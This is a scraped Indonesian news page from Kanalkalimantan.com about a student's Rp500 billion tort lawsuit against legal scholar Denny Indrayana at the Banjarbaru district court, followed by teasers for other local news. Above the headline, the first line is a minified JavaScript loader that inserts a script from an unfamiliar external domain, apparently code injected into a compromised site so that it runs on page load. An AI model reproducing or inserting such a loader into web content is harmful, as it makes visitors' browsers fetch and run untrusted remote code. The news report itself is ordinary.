(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Denny Indrayana Digugat Mahasiswa Rp500 Miliar di PN Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Seorang mahasiswa bernama Almas Tsaqibbirru Re A menggugat praktisi hukum asal Kalimantan Selatan (Kalsel) Prof Denny Indrayana dengan gugatan perbuatan melawan hukum.

Mahasiswa Universitas Surakarta (UNSA) Solo itu menggugat Denny Indrayana untuk membayar Rp500 miliar.

Perkara gugatan melawan hukum tersebut disampaikan langsung oleh Prof Denny melalui akun instagram, Jumat (3/2/2024) kemarin.

“Sejak beberapa hari lalu seorang sahabat menginfokan bahwa Almas Tsaqibbirru akan menggugat saya. Hari ini saya mendapatkan salinan gugatannya dan panggilan untuk bersidang di PN Banjarbaru pada Selasa 6 Februari 2024,” kata Prof Denny.

Baca juga: Pasca Banjir, Pj Bupati Kapuas Kunjungi Masyarakat di Dua Kecamatan 

Seturut penelusuran Kanalkalimantan.com di laman SIPP PN Banjarbaru, gugatan klasifikasi perkara perbuatan melawan hukum tersebut memang telah terdaftar dengan nomor register 4/Pdt.G/2024/PN Bjb tanggal 29 Januari 2024.

Penggugatnya tertulis atas nama Alma Tsaqibbirru RE A dan tergugat Prof Denny Indrayana SH LLM PhD. Sidang pertama akan digelar pada Selasa (6/2/2024) pukul 09.00 Wita.

Dalam gugatannya, Almas selaku penguji materil Undang-Undang Pemilu soal batas usia Capres Cawapres di Mahkamah Konstitusi (MK) merasa dirugikan dengan pernyataan tergugat. Denny menurut penggugat telah melakukan perbuatan melawan hukum yang merugikan dirinya.

Penggugat dari dua aspek yaitu materil dan ni materil. Untuk materil gugatan yang dilayangkan Rp200 miliar, sedangkan kerugian imateriil lebih besar yaitu Rp500 miliar atau setengah triliun.

Prof Denny mengaku akan menghadapi gugatan tersebut. Bahkan, praktisi hukum yang pernah berlaga Pilkada Kalsel tahun 2020 itu mengaku juga akan menyiapkan gugatan balik kepada Almas Tsaqibbirru.

Baca juga: Empat Poin Petisi Kayu Tangi Jelang Pemilu 2024 Civitas Akademika ULM

“Tentu akan saya hadapi, dan melakukan gugatan balik,” ujarnya.

Masih kata Prof Denny, gugatan yang layangkan kepadanya tersebut merupakan imbas dari dirinya yang menyoal adanya kejahatan terorganisir di balik putusan MK soal batas usia Capres Cawapres yang akhirnya memuluskan Gibran menjadi Cawapres.

Menurut Prof Denny, jika pandangannya itu digugat hingga Rp500 miliar, maka hal itu kata Denny bukan saja absurd dan lucu, tetapi juga modus pembungkaman terhadap kebebasan berpendapat.

“Saya akan menghadapi gugatan tersebut dengan perlawanan terbaik dan gugatan balik, sebagai upaya menegakkan lagi etika dan negara hukum, yang telah diobrak-abrik oleh permohonan Almas dan Putusan 90 Mahkamah Keluarga Jokowi,” sambungnya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

2 menit ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

24 menit ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

30 menit ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

53 menit ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

1 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

1 jam ago

This website uses cookies.